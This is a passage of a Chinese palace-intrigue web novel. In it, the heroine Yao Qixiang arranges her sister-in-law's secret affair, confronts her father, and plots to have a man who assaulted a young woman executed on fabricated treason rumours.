生得如珠如玉, 笑起来时那双眼睛很是璀璨,一看就知是家中千娇万宠出的女儿。 别人问她生不生,她笑着腼腆说出“生”的样子,也让人分外喜欢。 姚戚香站在远处, 默默瞧着这一幕, 忽然生出一种感慨——她姚戚香,竟然能和宜宁县主这样的人嫁入同一户人家,怎么不算是烧了高香呢? 那对血玉如意内暗藏乾坤之事,自然是被孟家死死瞒下,到现在宜宁县主还不知情呢。 万紫千红,其乐融融, 姚戚香站在人群中缓缓勾唇, 怎么能够不知情呢? 这边闹完了洞房,姚戚香才回去, 而孙月瑶则是早就回了。 今夜,孟极宿在她的房中, 他本来就酒量不好,眼下喝了些酒,浑身都是醉醺醺的酒气, 孙月瑶就坐在床上,冷眼看着孟极脱衣。 外衣脱下,再是中衣,一脱变露出肥腻腻的白肉来,孙月瑶不由垂下眼,喉咙里泛起一股恶心。 从前倒也不觉得恶心成这样,今日的恶心却是止都止不住,闹得厉害了,孙月瑶便扶着床沿干呕起来。 她呕了半天,孟极才回过神,醉醺醺地问她:“你是怎么了?” 他一说话,满嘴的酒气和浊气扑面而来,孙月瑶呕得更厉害了。 孟极像是突然反应过来什么,喜道:“这是有了?” “快!”他对外,“快找郎中来!” 孙月瑶本想开口拒绝,可她脑中忽然想起姚戚香的话,凡事不要急着拒绝,不要断定,表面是越云淡风轻,人家就越怀疑不到你头上来。 于是她扶着胸口,起身懒懒道:“也不知是什么毛病,说不定是今儿席上多进了点寒凉之物,刚刚回来的时候便觉得难受,这会儿竟是更严重了。” 孟极“哦”了一声,点点头,道:“那请个大夫过来也是应当的。” 孙月瑶“嗯”了一声,再无多话,而她的恶心,也差不多止住了。 郎中到了之后,先给孙月瑶看了诊,又问了几句孙月瑶近日的睡眠状况,今日在席上都吃了些什么,孙月瑶一一答了。 她想起姚戚香的话,提了一句:“今儿看那席上的冰镇果子不错,多吃了几颗,吃的时候不觉得什么,说不定就是那果子害的。” “那就是了。”郎中道,“夫人近日少眠,本就精神匮乏,再吃了寒凉之物,有些反应也是应当的,我替您开几帖温胃驱寒的方子,喝几日将养一下。” “好。”孙月瑶点点头,“那就麻烦郎中了。” 待郎中走了,孟极道:“你这几日,夜里休息不好?” 孙月瑶先是心里一个咯噔,可这时候,她脑中再次响起姚戚香的话——当别人质疑你时,你自己不能先心虚了,反而要直视对方的眼睛。 于是,孙月瑶抬眸,然后她便成功在孟极脸上看到一丝心虚。 她突然懂了,心中嘲讽地笑笑,想起前些日子,她还在因为孟极纳了妾室怄气,然而现在,她竟是万分希望孟极去那妾室的房中。 “嗯。”孙月瑶道,“晚上睡得不好,许是天气变热的缘故,一阵一阵的。” “哦……”孟极道,忽地,他灵机一动似的,道,“哎,那我这些日子,不如先去芸香那儿住吧?你一个人睡,也能睡得好些。” 若有可能,孙月瑶真想冷笑一声,不过她面色依旧平静,双眼似是透着不满,对孟极道:“那就去吧。” 见她这样,孟极又有些不好意思,可横竖已经得了允准,万一他现在又不去了,下一回开口又不知是什么时候。 于是,孟极笑道:“那这些日子你好好养着,回头我再来看你。” 说罢,竟是立即就收拾好衣服重新穿上,邋邋遢遢踩上鞋子就要往那边去了。 从始至终,孙月瑶一直冷眼瞧着,一直看着孟极的身形消失在了她的视野中,她心头忽然泛起一股恶气来——凭什么呢? 凭什么她不能? 姚戚香进屋时,孟扶危已经在里面坐着了,她见他动作这样快,不光回来得比她早,甚至还沐洗完,连头发都干得差不多了,便知他提早回来不是一时半刻了。 她走进屋中,问:“你没去席上?” “去了。”他道,“饮了两杯酒,就回来了。” 哦…… 其实最后她去闹洞房的那会儿,忽然心思就不在真的闹洞房上了,回来的时候,她情不自禁,一直看着脚下放的那些灯。 这些灯,竟然不是一开始就有的,而是为着她来,孟扶危专门去放的。 姚戚香忽然有些好奇,是为她姚戚香放的,还是为孟扶危的新妇放的呢? 应该是后者吧……她与孟扶危又不相识,可就算是后者,她竟然也觉得欢喜。 姚戚香心里,从没有过这种感觉,一个人对她好,但又不对她明说,等她知道这件事时,是她自己发现的。 若她发现不了,他就一直都不会说。 姚戚香坐在了他身侧,他今夜……应该不了吧? 想了想,姚戚香率先躺在了里面,道:“歇了吗?” “嗯。”那边他应了,便起身去熄灯,熄了几盏,只留下一点点微光来。 两人同塌而眠,姚戚香静默了一会儿,问:“孟扶危,你有想过和离的事吗?” “为何要想?”他说,“你我夫妻本就顺理成章,为何和离?” 姚戚香又躺了一会儿,她又问:“那……不和离了吗?” 她其实已经确信,自己怕是很难再遇到这样好的夫家了,以后的事以后再说,只是眼下好歹是好的。 孟扶危:“我不会和离。” 这样的对话,放在一对新婚燕尔的夫妻之间,或许有些奇怪,可姚戚香一直都抱着将来要和离的想法在孟府生活,这是她第一次生出了不和离的念头。 其实就这样,也不错。 她没有再出声,孟扶危也没有再扰她,像是将来之事忽然有了安定之处,姚戚香很快睡了过去。 过了几日,孙月瑶登门拜访。 姚戚香得知她来的时候,心中还有些意外,自从婚宴之后才过去了五六日,她本以为孙月瑶胆子不算大的,没想到做决定的时候竟然这般快。 她将孙月瑶请了进来,不是请去偏厅,而是直接请到了她屋里。 “嫂嫂,有几日没见了,吃了午饭吗?我才着人去外面给我买点心。” 孙月瑶神色怏怏,又有些戒备地左右看了看,才低声道:“戚香,李江的事,你有几分把握?” 姚戚香心想,她的把握自然是不小,但这种话如何直说呢? 她便道:“嫂嫂这是想通了?若是如此,我便去尽力为嫂嫂打点了。” 孙月瑶更加低了声音:“那……难道李江愿意吗?” 姚戚香笑了笑,道:“上次我同你说,李江家乡糟了水匪,他原先能做的营生没了,一个船夫,到了盛京来能做些什么?怕是什么也做不了,他身边还有个姐姐,姐姐现今是嫁给了戏班主,可他自己呢?他自己却没有一个像样的落脚处,至今还宿在戏班。” 孙月瑶踌躇着,“可……纵然如此,他也未必肯……” “嫂嫂忘了?他的姐姐有孕在身,李江唯一拿手的戏排不了了,没了《出墙记》,李江就算再排别的戏,这中间也赚不了什么钱,他急着在盛京落脚,怎会不心动咱们的提议呢?只要钱给的够多,他自然会愿意的。” 孙月瑶动了动嘴唇,她想说,这难道不就是花钱买个男人伺候吗?若到了床上,一个男人对你没有半分情意,那真的还有意思吗? 可孙月瑶却无法说出口,她怕姚戚香觉得她贪得无厌,明明就是她自己……先看上了那李江的。 谁知,姚戚香从她吞吞吐吐的样子中,读出了她的意思来。 “嫂嫂。”她道,“芸香进门时,你觉得她心里想的是爱慕孟极,还是想要嫁入高门,一步登天?” 孙月瑶说不出话来了,那必然是后者,那孟极是个什么德行,芸香能不能真正爱慕他,她心里还是有成算的。 须臾,孙月瑶拿定了主意,她垂下眼,对姚戚香道:“我试试。” “我……什么时候去找他呢?”孙月瑶问。 “择日不如撞日。”姚戚香道。 孙月瑶一愣,今日? 姚戚香已然开了口,对外吩咐道:“我与嫂嫂说会儿话,方才打发云韬去买了点心来,茗玉你再去替我买只烧鸡,再买些姜糖回来。” 孙月瑶不解:“买姜糖做什么?” 姚戚香笑道:“嫂嫂,你是傻的不成,你不是知道他叫什么名字吗?” 孙月瑶顿了顿,懂了。 姜糖,李江。 此事,就这样定下了吗?孙月瑶想反悔,可心里又期待着他来。 这时,她又听见姚戚香对她道:“嫂嫂,今后不论你与李江如何,你待李江是何等情分,切要记得,不要频频去望他的眼睛,对他态度要冷漠疏离,你心里,要只当他是个取乐的玩意,只有这样,你与李江才能长久。” 长久?孙月瑶现在只顾着眼下,还从未想过长久。 “那若是……”她忐忑不安,“他腻了呢?” “他?”姚戚香徐徐扇着扇子,“他会比你更担心这个问题的。” 第43章 第43章 嫂嫂成了 大约一炷香时间, 茗玉回来了,在姚戚香耳边轻声说了句什么,姚戚香便对孙月瑶道:“时候不早了, 我要去屋里歇一会儿, 嫂嫂也去吧,我会让下人们远离这边,不要吵到我们睡觉。” 闻言, 孙月瑶便知是李江已经来了…… 只怕, 在去的路上,他们已经告诉李江这趟是为什么来了,他竟真的愿意…… 她心头微妙极了,这时, 又听姚戚香对她道:“嫂嫂, 我嘱咐你的话,你可千万要记得。” 孙月瑶点了点头,在姚戚香的示意下,进了里间的一个屋子。 姚戚香看着她进去,便叫底下人到外院去了。 她斜倚在贵妃榻上,目光流连于自己的扇面上, 那上面只绣着一株兰草, 姚戚香在想,今日之事, 对是不对。 她知道孙月瑶今日之举,其实不是一时冲动, 可她也知晓,若是没有她,孙月瑶这辈子都不会踏出这一步。 或许他日, 等孙月瑶生下一个儿子,她的儿子再争一些气,身为孟家的子孙势必不会过得太差,等到那个时候,孙月瑶便有指望了。 可若她生不下,若是连个女儿都没有,一辈子就这样磋磨下去呢? 姚戚香脑子里乱糟糟的,但有一点她很清楚,只有这样,孙月瑶才会永远走向了她这边,她也算是永远把住了孙月瑶。 大约过了一个时辰,还不到一个时辰的时候,孙月瑶从里面出来了。 姚戚香看见她有些意外,道:“这么快?” 她还以为,怎么也会有一个半时辰……就像她和孟扶危那样。 孙月瑶形容有些慌乱,她走到姚戚香面前,深吸了几口气,才道:“嗯,我有点害怕,就让他先走了。” 姚戚香问:“如何?” 孙月瑶立时别开了眼,半晌没有说话,等姚戚香再想问时,她才开口:“……不错。” 两个字,惹得姚戚香笑出声来。 “怎么个不错?下回还有他的事吗?” 孙月瑶脸上立刻红了一片,直红到耳后去,看样子是真羞了,不过就算如此,她还是老老实实道:“就是……我瞧他也挺害臊的,生疏得很,最后还是我……我教的。” 看见孙月瑶的样子,姚戚香便知她的确是满意了。 “嫂嫂,那你可有记着我的嘱咐?你面对他时,是如何做的?” 孙月瑶道:“记得!我都记着,我既没有对他笑,也没有看他的眼睛,连话都没有对他多说几句。” 姚戚香满意地点点头,若连这事上都记得她的嘱咐,可见孙月瑶的确是个听话的人,听话的人会更好,就不会节外生枝。 “既如此,嫂嫂便回去吧,下次你想见他时,再过来这边找我。” 孙月瑶点点头,转身走了几步,又想起什么回过身来,小声道:“那个……万一我和孟司使撞上了怎么办?” “嫂嫂不必担心。”姚戚香笑道,“若是他休沐,我会让人去你院子里说的。” 这下,孙月瑶终于放心了,她不禁想,若是她一个人,怎么可能成这样的事,就算成了,只怕要不了多久就要露馅了。 孙月瑶回去了。 姚戚香也知晓,从现在起,她算是永远握住了孙月瑶的把柄,从今以后,孙月瑶是愿意还是不愿意,都得向着她。 她既为自己设计了没什么心机的嫂嫂而惶恐,同时又为自己离目的更近一步而窃喜,可既然木已成舟,其余的一切都不重要了,她还是得一步步做下去。 这日,姚戚香等着孟扶危回来一起吃饭的时候,又听见一个消息——姚振廷把那雪姨娘领进门了。 听说还是怀着身孕,大着肚子进门的。 这一幕,是多么眼熟啊,想必当年邓穗音大着肚子要她母亲吃她的妾室茶时,也想不到自己会有这么一天吧。 “可惜了。”姚戚香摸了摸耳后的头发,可惜她没有亲眼瞧见。 不过,热闹总是不会少的。 姚戚香突然不想在孟府吃晚饭了,她想回家去看一眼,毕竟自打姚太初死了之后,那个家她就再也没有回去过了。 吩咐人备了车,姚戚香又让云韬去给孟扶危递了消息,就说她要回趟娘家,若孟扶危愿意,就晚上过来接她,若是不愿意,她就自己回来。 等马车到姚府时,也差不多是姚家吃晚饭的时辰了,姚戚香是直接过来的,都没有提前说一声,门口的家丁看见她来,回头说自己要进去报备一声,被姚戚香让人拦下了。 “我回自己家,要你报备什么?”姚戚香路过了他,径直入了家门。 她猜得不假,等她进去时,发现姚家的确到了吃饭的时辰,不过以前是一大家子,坐在前厅吃饭,这里面唯独没有她,偶然逢年过节时,才像是突然想起她这个女儿,把她叫出来打发些好菜。 不过现在,她分明嗅到了烧火的味道和饭味,前厅却是空的。 姚戚香笑道:“你们还愣着干什么?快去将父亲母亲请过来啊,既然都做了饭,当然是要一大家子坐在一起吃才行。” 一盏茶的功夫,姚振廷最先从侧边的小路上快步走了过来,看清庭院中站着的人的确是姚戚香,他先是沉默了一会儿,而后随即怒骂道:“不孝的东西!我还以为你死外面了,你弟弟出事后,你竟连回家也不曾,狼心狗肺的东西!” “哎呀,父亲何必动怒呢。”姚戚香徐徐扇了两下扇子,“我本来是在弟弟死后立马要过来的,却听闻父亲又是主动和解,又是主动帮孟家解释,如此善解人意,那便真的是弟弟犯错了,女儿怎么好意思回家。” “你说什么?” 她话音刚落,身后又响起一个声音,姚戚香回头一看,被邓穗音的模样惊讶到了。 只见邓穗音虽穿着还是体面周到,却眼窝深陷,精神萎靡,一双眼睛直勾勾地看着她,脸上瘦得都要皮包骨头了。 “母亲。”姚戚香看着邓穗音,缓缓点了下头。 “我问你说什么!”邓穗音一下子扑了过来,被姚戚香侧身躲开了。 “谁的错!”邓穗音大叫。 “母亲不知吗?”姚戚香道,“外面都是这样传的呀,难道是女儿听错了?可女儿已经听见许多人都这样讲了,说是姚太初蛮横无理,非要纠缠,这才搭上了一条命进去。” 她走到邓穗音身后,“人人都说他是傻子,是蠢货,死不足惜,这话女儿怎么听得?只好赶紧回去了。” 等她抬眸时,便见邓穗音面上惨白一片。 “你……”姚振廷指着她正要开口,被姚戚香再次打断了。 “父亲,不是说雪姨娘早就进门了吗?怎么不见她来见女儿?是不愿意吗?”姚戚香看着下人们已经开始布菜,便漫步进了桌边坐下。 她笑道:“听说雪姨娘已经怀有一个儿子了?真是恭喜!老天待父亲不薄,刚失去了一个,就马上给父亲送来一个呢。” 她一说完这话,就见邓穗音又挺直了脊背。 “你说的什么胡话!”姚振廷道,“你姨娘的肚子才五六个月,如何能得知是不是儿子?” “不是吗?”姚戚香又睁大双眼,露出一副诧异的样子,“女儿也是听说的,前些日子,孟府的三郎成亲,说起县主早生贵子一事时,便有人拉着我说——你父亲屋里那个也一看就是个男胎,姚家总算后继有望了。” 她的口吻学得惟妙惟肖,连姚振廷也信了三分。 这时,菜已经布好了,姚戚香坐在桌上,率先动了筷子。 这么久没吃姚家的饭菜,想不到府上的厨子还是没有半点长进,她把每道菜都试了试,就不想吃了,吃这些,她还不如回孟家吃。 见她如此自觉,丝毫没有等家中长辈入座的模样,姚振廷气都不打一处来。 “姚戚香!”姚振廷大声叫嚷着,“你今日究竟是干什么来的?你得嫁高门,来到这里显摆来了不成?” “父亲这是说的什么话?”姚戚香道,“女儿回趟娘家,自然是来瞧父亲母亲的呀,怎么?父亲死了儿子,眼下连女儿都不想要了?不会是已经满心都投在雪姨娘和她的宝贝儿子身上了吧?” 姚戚香摇摇头,“不过也对,父亲您还是要有个儿子才行啊,从前您嫌弃太初是个痴儿,总不能雪姨娘生下的这个,也是痴儿吧?” 短短一刻钟的时间,姚振廷被她气得头昏脑涨,他阴沉着脸,大步走上前来,一把抓住了姚戚香的手,甩开了她手上的筷子,冷笑:“怎么?你觉得你嫁出去,我是动不了你了?” 第44章 第44章 结识黄琬 姚戚香抬眸, 看向姚振廷,看着他满脸怒色,凶神恶煞, 她其实从不怕姚振廷。 当人看透了一个人的虚伪时, 他再如何厉害也只是色厉内荏,便只觉得他可笑。 “父亲可真是好胆色。”姚戚香起了身,她直勾勾盯着姚振廷的眼睛, “只怕这一辈子, 谨小慎微,也只敢对我耍这么大的威风吧?” 姚振廷面色冷了冷,正要抬了手打在她脸上,就听身后一声:“岳父。” 抬起来的手, 又只能放了下来。 姚振廷回头, 看见了不远处站在阶上的孟扶危,他梗了梗脖子,又不得不露出个笑脸来,道:“贤婿来了……” 孟扶危面上没有多余的表情,他瞥了姚振廷一眼,越过他身边, 握住了姚戚香的手腕。 姚振廷看着他的动作, 脸上忽有些挂不住,怎么偏偏这个时候来了…… “路过, 来接她回去。”孟扶危道,“就不多叨扰了。” 姚振廷张了张口, 本想留人吃饭,转念又想到今日的饭菜都是随意做的家常,还是不把 脸丢到孟扶危前面去了。 姚戚香余光看着邓穗音一副将要发作却一直隐忍的样子, 她知道邓氏在忍什么,多半是忍到把女儿嫁出去,毕竟姚成碧出嫁还需要倚仗姚家的势。 那她也要推力一把。 于是,姚戚香开口:“父亲,女儿忽然想起来今日是来做什么的了。” 她笑着对姚振廷道:“我婆母托我转告您,您在她那儿交易的官职,有了些许变动,若是年底父亲无法顺利升迁,也不要心急,反正来日方长,总会升的。” 说到这个,姚振廷近乎脸色大变,他怔怔看着姚戚香,问:“你说什么?” “我说得还不够清楚吗?”姚戚香朝邓氏努了努嘴,“那您问母亲吧,她可是听得一清二楚呢。” 她拿扇子挡住下半张脸,隐在扇子背后的唇角不禁勾起,常氏自然没有跟她说过这个话,可这话姚振廷眼下又无法查证,就算他想查证,就姚振廷这么窝囊的人,他敢去常氏面前质问吗? “走吧,夫君。”姚戚香暗暗推了孟扶危一把,再不走,只怕邓穗音都忍不住要发疯了。 刚走出庭院,姚戚香便如愿听到身后传来一片碟碗摔碎的清脆声,她暗笑,邓穗音要是知道自己儿子的命被姚振廷拿来换了官职,只怕是要更疯了吧? 可是她又能如何呢?一个妾室,被抬成正室而已,背后又无母族扶持,她只有她一个人,膝下还有一个待嫁的女儿。 如果姚戚香是邓穗音,可就一定要姚振廷偿命,不过或许邓穗音这个人,格外能忍呢? 姚氏,主君主母恩爱和谐? 姚戚香迟早会让他们成为盛京最大的笑话。 等坐上了回去的马车,姚戚香才问:“怎么这么早就过来了?我以为你还要好一阵呢。” 他应是直接从宫里过来的,一身朝服还没有换下。 “见云韬来找我,我便来了。”孟扶危道。 姚戚香看着孟扶危,她暗自想,会不会孟扶危心里,也担心她会在姚家受委屈呢?她脑袋里,忽然就浮现出她回门那天,孟扶危对姚家表现出的厌恶来。 为什么……他会厌恶姚家呢? 关于这一点,姚戚香一直想不通,一开始,她以为孟扶危是厌恶姚家这门强塞过来的婚事,可婚后种种逐渐让她打消了这个念头。 孟扶危并不厌恶她,他好像将她这个人与姚家完全剥离了开来,只是单纯地厌恶姚家。可姚振廷那样的人,是决计做不出得罪孟家、亦或是得罪孟扶危的事的。 “在想什么?” 在她耳边,孟扶危出声。 姚戚香回了神,她摇摇头:“没什么。” “姚戚香。”他又叫她的名字,每次都是全名,姚戚香没有告诉过他,每次他这样叫她的时候,她都会情不自禁后颈一凉,就好像下一句孟扶危就要开始问她的罪了一般。 可姚戚香也没办法说这样不好,毕竟她也几乎是直呼孟扶危名字的。 她抬眸看向孟扶危,还不由自主快眨了两下眼睛,不懂他为何突然叫她的名字。 “你若有什么想法,要记得告诉我。”他道,“不论什么,只要你想说。” 姚戚香垂眸,“哦……知道了。” 原来就是说这个。 她能告诉孟扶危吗?她要是告诉孟扶危她其实是个疯子,她在孟家帮着自己的嫂嫂偷情,筹谋着什么让姚家死,那孟扶危早就休了她了。 想到这里,姚戚香心中又隐有一丝不安——姚家横竖是要死的,等到时候事情败露,她还要怎么在孟家自处? 她想,孟扶危肯定随随便便就查到真相了。 见她还是一副垂眸不语,心事重重的样子,孟扶危只想叹气。 “晚上吃什么?我们不回府吃。”他道。 “是吗?”姚戚香眼睛亮了亮,“我想吃那道羊肉炙了……” 自从上回千味楼事发,姚戚香就再也没去过了,她早就想吃了。 “嗯。”孟扶危应了一声,对车外道,“天禄,千味楼。” “是。”外面传来回应。 啊……竟真的采纳了,姚戚香还以为,孟扶危会说那里不安全,不答应去呢。 想起上次九死一生地出来,距今已经过去两月了。 她从小被关在宅院中,消息闭塞,京中的很多事她都是不知情的,假如成王已经如此按捺不住撕破脸皮了也要刺杀太子,那储君之争,早就已经从背地里翻到明面了吧? 姚戚香不懂争储,不过以她的经验来看,她若是有朝一日跟常秋兰打明牌,连装都不装了,那一定是手中有了必胜的把握。 到了千味楼,点了羊肉炙,又点了几个别的菜,姚戚香和孟扶危便坐在二楼的雅间闲等,甚至还是上次的位置。 经过邬国人闹事一事,千味楼的生意淡了不少,再加上已经入夏,吃羊肉的人也少了一半,是以晚上明明才是做生意的时候,千味楼这边却还有不少空桌。 姚戚香一边等着上菜,一边看着楼下,不多时竟瞧见个熟悉的身影——是邓卓。 可她旁边站着的,俨然不是她的夫君,而是另一名女子。 这两人都带着纱笠,若非邓卓穿着的那双鞋姚戚香上回见过,她故意也不能第一眼便认出邓卓来。 “认识?”孟扶危问。 姚戚香正想摇头,她觉得自己与邓卓也谈不上认识,只是见过两次罢了,可随即就听孟扶危道:“天禄,将那两位娘子请上来一同用菜。” 说着,他起了身。 “你去哪儿?”姚戚香问。 “你们一起说话,我在多有不便。”他道,“我去马车等你。” 姚戚香咋舌,那孟扶危不一起吃饭了吗? 孟扶危前脚刚走,后脚邓卓两人就被请了上来,一见是姚戚香,邓卓喜得摘下头上的纱笠,道:“姚娘子!真巧,在这儿遇见你。” 姚戚香朝她笑着点点头,说:“坐吧,我已经点了几个菜,你们若还有想要的,再跟他们加。” 说着,她忍不住将目光落到了邓卓身侧的女子身上。 “这便是我表妹,黄琬。”邓卓向她介绍。 说话间,黄琬也取下了自己的纱笠,她肤色雪白,双眼甚是灵动,看见姚戚香乖巧地一礼,开口:“姚娘子,孟元德的事,要多谢你告知了,否则我家里怕是真要给我定这桩婚事了。” 姚戚香摇了摇头表示无碍,让黄琬也一并坐了。 她以为此事在上回见过邓卓之后,便已经算是了结了,没想到还能在这里遇上黄琬本人。 “姚娘子,说起此事,我前些时日听说孟元德转而向别家求亲了,可真是如此?”邓卓问道。 “我并不知情。”姚戚香道,“怎么了?” “……实不相瞒。”邓卓看着黄琬,道,“其实黄家拒亲之后,孟元德……还经常来骚扰我表妹。” “什么?”姚戚香惊讶,“他这些日子,不在书院了吗?” 黄琬摇了摇头,道:“十日里有七八日是旷了的,却时常来纠缠我,说什么对我一见钟情,发誓今后会好好对我之类的,我害怕,所以白天从不出门,今日也是实在馋得紧了,偷偷跟表姐跑出来的。” 自从玉如意的事情出了后,姚戚香就甚少与那边联系了,甚至她也再没去给常秋兰请过安,这样一来,消息流通得也少了,孟元德纠缠黄琬之事她浑然不知。 不过此事也不是她能管的,一来孟元德与她无关,二来她更不可能求到孟扶危面前去。 所以这件事她也只是听了一耳朵,并未发表意见,只是嘱咐黄琬多注意些,小心被有心之人听到了做出什么文章来。 黄琬也知道此事关乎她的名声,目中含恨,不过她从始至终都未开口叫姚戚香帮忙,这倒是叫姚戚香颇为欣赏。 果然,家中精心养护起来的女孩子,怎么会差呢? 吃完了晚饭,姚戚香便与邓卓与黄琬告别,她本想派马车送她们回去,谁知黄琬极力拒绝。 “多谢香姐姐好意!只是我与表姐是偷跑出来的,一会儿也要偷溜回去,要是被发现了,肯定要得一顿教训的。”黄琬道,“而且我们出来也带了下人,香姐姐不必担心!” 黄琬性子可爱,很容易与人亲近,一顿饭的功夫,就已经转叫她香姐姐了。 姚戚香忍不住笑:“好,那你们也不要再到处乱逛了,马上回去吧。” 她上了马车,驶向回孟家的路,却不知就是在这个晚上,黄琬和邓卓出了事。 第45章 第45章 设局 姚戚香是半夜被茗玉轻轻推醒的, 她睁眼醒来时第一个看见的先是孟扶危,然后才是茗玉,两人都看着她, 弄得她格外莫名其妙。 “怎么了吗?”姚戚香问。 “娘子, 门外邓娘子来了,说想要见你。”茗玉道。 姚戚香愣了愣,她第一个反应先是看向窗外, 外面一片漆黑, 连月色都稀薄,这个时候邓卓找她? 但随后姚戚香反应过来,会不会是出事了? 她忙起了身,披了外衣匆匆系好衣带, 往外去了。 到了外面, 她看见了头发散乱的邓卓。 “姚娘子!”邓卓神色张皇,“出事了!出大事了!” “你慢慢说。”姚戚香道,“不要慌,万事总有解决的办法。” 邓卓捂着心口,深吸了好几口气,才道:“我和黄琬……回去的路上, 撞见了孟元德。” “然后呢?”姚戚香问, “说关键。” “当时我们是被突然拽进去的,然后……孟元德他便……轻薄了我表妹。”邓卓说到后面连声音都轻了, 低垂着脑袋,肩膀也在轻轻地抖。 姚戚香道:“拽进了什么地方?当时除了孟元德, 还有谁在?” “还有他的一个小厮!”邓卓道,“可当时巷子里很黑,我没能看清他的样貌。” “那你可记得他有没有什么特征?” 邓卓想了想, 道:“我看见他右手手臂上有一颗黑痣。” “嗯,有印记就好。”姚戚香思忖着,她并不关心孟元德究竟轻薄黄琬到什么程度,因为这种有关名节的事,本来就只分有或没有,一旦传扬出去,旁人哪里管你是被人看了一下还是摸了一下,最后都会传成清白尽毁、贞洁尽失的模样。 “现在,有两个结果。”姚戚香道,“一是,孟元德之所以如此,便是不想断了跟黄家的这门亲事,只要黄琬嫁给孟元德,此事便可当做被抹平了。” “这怎么可能!那孟元德坏事做尽,这样的无耻之徒,表妹怎么能再嫁给他!怕是还要因此事被拿捏一辈子,受一辈子的苦!”邓卓道。 “看来你也很清楚。”姚戚香道,“那便只剩下第二条路了,只是这第二条路,并不好走。” “是什么?”邓卓抬眸,满怀希望地看着她。 姚戚香:“杀了孟元德,此事照样无人知晓。” 邓卓喉间一哽:“什、什么?” “孟元德既然做下此事,无非是想要与黄家的婚事照旧,他是元凶,便不可能蠢到自己还没得着利益便先去揭发,所以眼下,事情还有转圜之机。”姚戚香道,“只要杀了孟元德,便从未发生过什么轻薄之事。” “可、可……”邓卓说不上话来,她结巴了半天,才道,“可若真是如此,孟元德一死,岂非又坐实了被他轻薄,又要冠上杀人的罪名了?” “谁让你们明杀了?”姚戚香道,“自然,是要设局的。” 这件事说到底,与姚戚香无关,她大可置之度外的。 可偏偏此事涉及孟元德,这确实是个对付常氏的好机会,之前玉如意的事,本就已经让常秋兰在束下上犯了过错,若她的儿子再闹出什么事,她便又多了教子无方的罪名。 试问这样,常秋兰还怎么做孟家的主母呢?到时候管家大权就会由旁人接手,而最可能接下管家大权的便只有她。 除非……常秋兰宁肯管家之权落到三房头上,也要将其给宜宁县主。 须臾功夫,姚戚香已然做好了自己的考量。 “黄琬现在何处?”她对邓卓道,“将她找来,此事我们需要一并商议。” 听了她的话,邓卓毫不犹豫转身便去寻人了,姚戚香看着她的样子不由失笑,这些人怎么别人说什么便信什么?也不管她帮她们是不是另有所图吗? 过了一会儿,邓卓将黄琬带回来了,只见黄琬发髻散乱,连衣服也皱皱巴巴的,胸口往下的位置还被撕破了一块,胳膊上也有几处淤痕。 姚戚香没有再问她有关巷子里的细节,而是单刀直入道:“接下来,孟元德大约不会再找你,反而要你主动去与他商议解决的方式,见到他的时候,你要假意迎合,最后露出害怕又无可奈何的神色来,告诉孟元德黄家不同意这门亲事,是因为孟元德身无功名,黄家人觉得他胸无文墨,这才不让你嫁。” 黄琬大为震撼:“他对我做下这种事,竟然还要我去迎合他?如此……他不会觉得我别有居心吗?” 姚戚香想了想孟元德那个性子,很有把握地摇摇头:“信我,他只会觉得自己魅力太大,不会对你有任何怀疑,不过你一定要同他说亲,此事你还不敢告知家人,想和孟元德私下解决。” 黄琬不明白,但黄琬还是点了点头。 这时,姚戚香又看向邓卓,道:“我记得你夫家是武将出身,京中武将素来同气连枝,应该认识不少人吧?” “是……”邓卓道,“姚娘子请吩咐。” “找些时机,大肆宣扬孟元德没有文采,连首像样的诗都不会做,诸如此类添油加醋,说得越逼真越好。” 邓卓恍惚地点头应下。 可就算姚戚香分派完了任务,两人还是不知道她究竟想要做什么,皆用疑惑的眼神望着姚戚香,到底是黄琬先耐不住性子开了口:“香姐姐,你到底……要干什么?” 姚戚香道:“想要让孟元德死,且越快越好,还要死得绝无翻身之机,应当如何?” 邓卓与黄琬对望一眼,齐齐摇头。 姚戚香压低了声音,很轻地道:“谋逆。” 孟扶危说过,当今天子垂垂老矣,为了让太子稳稳当当坐上皇位,很多事发都是睁一只眼闭一只眼了。 可景成帝这个人,并不慈悲,早些年姚戚香还未封门闭户的时候,她听说过不少诋毁皇族被流放的例子,况且孟扶危早先也抓了一批逆党,无一例外全被斩首。 可见,谋逆是景成帝的逆鳞。 在当下这个节骨眼上,他费心为自己的儿子谋划,却有人散播出谋逆的言论来,若她是景成帝,一定会杀了孟元德,杀鸡儆猴。 这样一来,京中也可安分一阵子,好再为太子争取些时间。且孟元德这个人,身份很是特殊,虽然他是望族中的嫡子出身,但是他并没有什么政绩,时常出入青楼一事早已不是什么秘密,况且前些时候,孟元德命人打死姚家独子一事闹得沸沸扬扬,现在他这个人又涉事其中,便很难不让人猜疑了。 天子要恩威并施,这些年景成帝恐怕自己迟早撒手人寰,放下的都是恩惠,平白送上门来彰显皇家威仪的一件事,他凭什么不用呢? 听了姚戚香的话,邓卓与黄琬皆惊疑不已,没想到在这么短的一段时间内,姚娘子居然能想出这样一招制敌的对策。 姚戚香看着她们的样子,没有说话,也懒得解释,这件事,邓卓和黄琬她们做也得做,不做也得做,黄琬不做便是身败名裂,邓卓虽已嫁为人妇,可她当时与黄琬待在一起,真传出去也说不清楚。 名声是女人一辈子都要顾惜,顾惜到死的东西,比起自己的命,别人的命又算得了什么呢? “若无异议,二位在这边梳洗了后便请回吧。”姚戚香起了身,“只一点告诉你们,如若要做,一定要做得润物细无声,不要太明目张胆了,否则就算事成,日后也会留人话柄。” 邓卓忙起身道:“是,多谢姚娘子谋划。” 黄琬也白着脸起身:“多谢香姐姐。” 姚戚香知道,这件事要她们全盘接受,再转手使出,肯定需要一些时间的。 毕竟,就算是她,琢磨这个计划也花费了些时间。 她原本……是想将这个计划用于姚家的。 送走了客,姚戚香再回房时,发现孟扶危已经不在了,茗玉对她道:“公子去书房了,还有一会儿便要早朝了,让娘子先歇下。” “好。”姚戚香点头应下,她方才与邓卓和黄琬的对话,并没有带上茗玉。 可是孟元德的事,横竖要有人去做。 “红绡还没回来吗?”姚戚香问,怎么回家相看个人而已,用了这么久,难道是不打算回来了,要直接成亲了不成? 若真是如此……那这件事,她多半还是瞒不住孟扶危。 “不知道,兴许快了。”茗玉安慰一句。 姚戚香重新躺下来,准备睡一个回笼觉。 而此时书房,孟扶危一边更换朝服,一边平静地问天禄:“京中哪家木材做得好?” 天禄一愣,罕见地摇了摇头,道:“这属下还真不知,主子有用?属下今日便去打探一番。” “嗯。”孟扶危应着。 天禄暗想,木材?难道要打什么家具不成? 随后,就听孟扶危徐徐:“你去给孟元德定口棺材。” 天禄一震,“什么!?孟元德要死了?” 孟扶危:“快了。” 